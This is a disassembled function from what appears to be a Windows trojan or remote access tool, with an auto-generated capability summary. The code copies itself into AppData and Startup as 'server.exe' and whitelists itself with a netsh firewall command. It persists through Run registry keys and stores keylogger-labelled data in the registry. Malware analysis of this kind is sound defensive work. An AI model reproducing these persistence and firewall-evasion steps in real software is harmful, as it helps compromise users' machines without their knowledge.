Function at 0x140001330
Capabilities:
Copy file
Decode data using base64 via winapi
Delete registry value
Encode data using base64 via winapi
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x610]
sub rsp, 0x710
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x600], rax
mov eax, dword [0x1400374a0]
lea rcx, [rbp + 0x3f0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x70], eax
xor edx, edx
movzx eax, word [0x1400374a4]
mov r8d, 0x208
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
call fcn.140008640
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x208
call fcn.140008640
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.140008640
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000145c
mov r9d, 1
lea rdx, [rbp + 0x3f0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x3f0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x14000145c
lea rax, [rsp + 0x60]
mov edx, 0xc8
lea r9, [rbp + 0x3f0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x30]
call fcn.140004630
lea rax, [rbp + 0x1e0]
lea r8, [rbp - 0x30]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001448
add rax, 2
test ecx, ecx
jne 0x140001434
test edx, edx
jne 0x140001613
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
mov qword [rsp + 0x720], rsi
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x728], rdi
xor edx, edx
mov r8d, 0x208
mov qword [rsp + 0x730], r14
call fcn.140008640
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000155e
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.140008640
mov edx, 0x5c
lea rcx, [rbp - 0x30]
call fcn.140008500
lea rcx, [rax + 2]
test rax, rax
jne 0x1400014ce
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x1e0]
sub rdx, rcx
nop dword [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400014e0
lea rdx, [rbp + 0x1e0]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x3f0]
mov r8d, 0x208
call fcn.140008640
lea rax, [rbp + 0x1e0]
mov edx, 0xc8
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x3f0]
call fcn.140004630
lea rdx, [rbp + 0x3f0]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x3f0]
call fcn.140004690
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x30]
movaps xmm1, xmmword [0x140037700]
xor edx, edx
movzx eax, word [0x140037730]
mov r8d, 0x208
movaps xmmword [rbp - 0x80], xmm0
movaps xmm0, xmmword [0x140037710]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x140037720]
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x40], ax
call fcn.140008640
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rdi, 0xffffffffffffffff
test eax, eax
je 0x14000177b
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001641
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400016bb
xor r8d, r8d
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000145c
lea rcx, [rbp - 0x30]
call fcn.140004690
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x30]
mov rax, rdi
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001650
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x80]
lea rax, [rbp - 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1400016b5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400016bb
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001704
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000177b
lea rcx, [rbp - 0x30]
mov rax, rdi
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001710
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x80]
lea rax, [rbp - 0x30]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140001775
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000177b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1400374a0]
lea rcx, [rbp - 0x30]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x70], eax
xor edx, edx
movzx eax, word [0x1400374a4]
mov r8d, 0x208
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
call fcn.140008640
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.140008640
xor edx, edx
lea rcx, [rbp + 0x3f0]
mov r8d, 0x208
call fcn.140008640
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000185b
mov r9d, 1
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x1e0]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x14000185b
lea rax, [rsp + 0x60]
mov edx, 0xc8
lea r9, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x3f0]
call fcn.140004630
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.140004750
xor r14d, r14d
lea rax, [rsp + 0x58]
xor r9d, r9d
mov dword [rsp + 0x58], r14d
lea rcx, str.Hacked
mov qword [rsp + 0x20], rax
mov ebx, r14d
lea edx, [r14 + 8]
lea r8d, [r14 + 1]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x140001933
mov ecx, eax
call fcn.14000ceac
mov r8d, dword [rsp + 0x58]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.140008640
lea rax, [rsp + 0x58]
mov r9, rbx
lea edx, [r14 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [r14 + 1]
lea rcx, str.Hacked
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], r14b
je 0x140001933
mov r8d, 1
nop
lea eax, [r8 - 1]
movzx eax, byte [rax + rbx]
cmp al, 0xd
je 0x1400018f5
cmp al, 0xa
je 0x1400018f5
inc r8d
jmp 0x140001929
mov eax, r8d
mov ecx, r8d
lea rdx, [rax + rbx]
movzx eax, byte [rax + rbx]
test al, al
je 0x140001922
nop word [rax + rax]
inc ecx
mov byte [rdx - 1], al
lea rdx, [rcx + rbx]
mov eax, ecx
movzx eax, byte [rdx]
test al, al
jne 0x140001910
mov eax, ecx
mov byte [rax + rbx - 1], r14b
lea eax, [r8 - 1]
cmp byte [rax + rbx], r14b
jne 0x1400018e0
mov rdx, rbx
lea rcx, str.encode_data:__hs__n
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x50], r14d
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rsi, r14
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1400019a8
mov ecx, eax
call fcn.14000ceac
mov rsi, rax
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x50]
mov r9, rsi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov rdx, rsi
lea rcx, str.decode_data:__hs__n
call fcn.1400012c0
mov rcx, rbx
call fcn.14000ce98
mov rcx, rsi
call fcn.14000ce98
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov r14, qword [rsp + 0x730]
mov rsi, qword [rsp + 0x720]
test eax, eax
jne 0x140001a6e
lea rcx, str.test
nop dword [rax]
cmp word [rcx + rdi*2 + 2], 0
lea rdi, [rdi + 1]
jne 0x140001a20
lea eax, [rdi*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0x200
call fcn.140008640
lea rax, [rsp + 0x58]
mov dword [rsp + 0x50], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdi, qword [rsp + 0x728]
test eax, eax
jne 0x140001b10
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rdx, str._kl_
lea rax, [rbp - 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001b10
cmp dword [rsp + 0x50], 0x200
ja 0x140001b10
lea rdx, [rbp - 0x30]
lea rcx, str.keylogger_getValue:__s__n
call fcn.1400012c0
lea rax, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001b6a
mov rcx, qword [rsp + 0x50]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001b6a
lea rcx, str.keylogger_delete_OK__n
call fcn.1400012c0
mov eax, 1
mov rcx, qword [rbp + 0x600]
xor rcx, rsp
call fcn.1400053f0
mov rbx, qword [rsp + 0x738]
add rsp, 0x710
pop rbp
ret